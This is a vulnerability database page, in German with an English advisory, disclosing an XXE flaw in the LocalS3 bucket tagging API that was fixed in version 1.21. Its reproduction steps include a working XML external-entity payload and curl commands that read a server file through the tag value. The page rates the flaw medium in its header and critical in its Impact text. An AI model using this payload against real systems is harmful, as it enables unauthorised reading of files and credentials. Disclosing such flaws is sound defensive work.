Mittel

LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API

  • Veröffentlicht: 10.03.2025
  • Aktualisiert: 11.10.2026 12:21

Description

The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.

When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.

The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.

Steps to Reproduce

  1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)

  2. Send a PUT request to the bucket tagging endpoint with the following XML payload:

    xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
        <!ENTITY xxe SYSTEM "file:///flag.txt" >
    ]>
    <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>
    bash
    curl -X PUT \
         -H "Host: app" \
         -H "Authorization: AWS dummy:dummy" \
         -H "Content-Type: application/xml" \
         --data-binary @xxe.xml \
         http://app/bucket?tagging
  3. Retrieve the bucket tags using a GET request to the same endpoint

    bash
    curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?tagging
  4. The content of the targeted file will be returned in the tag value

The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.

Mitigations

  • Disable XML external entity resolution in the XML parser configuration
  • Implement proper XML parsing security controls such as disabling DTD processing altogether
  • Use a safe parser configuration that doesn't process external entities or DTDs by default
  • Validate and sanitize all XML input before processing to prevent injection of malicious entities

Impact

Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) io.github.robothy:local-s3-rest < 1.21 1.21

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-611
Plattform
Java / Kotlin (Maven)
Paket
io.github.robothy:local-s3-rest
Veröffentlicht
10.03.2025
Aktualisiert
11.10.2026 12:21

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-v232-254c-m6p7 - CC BY 4.0

Schwachstellenhistorie: io.github.robothy:local-s3-rest

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
4
Erste → letzte
03.2025 03.2025
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 4

Veröffentlichungen pro Jahr

  1. 2025: 4
  2. 2026: 0
  1. LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API dieser Eintrag
    Mittel ghsa-v232-254c-m6p7 < 1.21 1.21

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.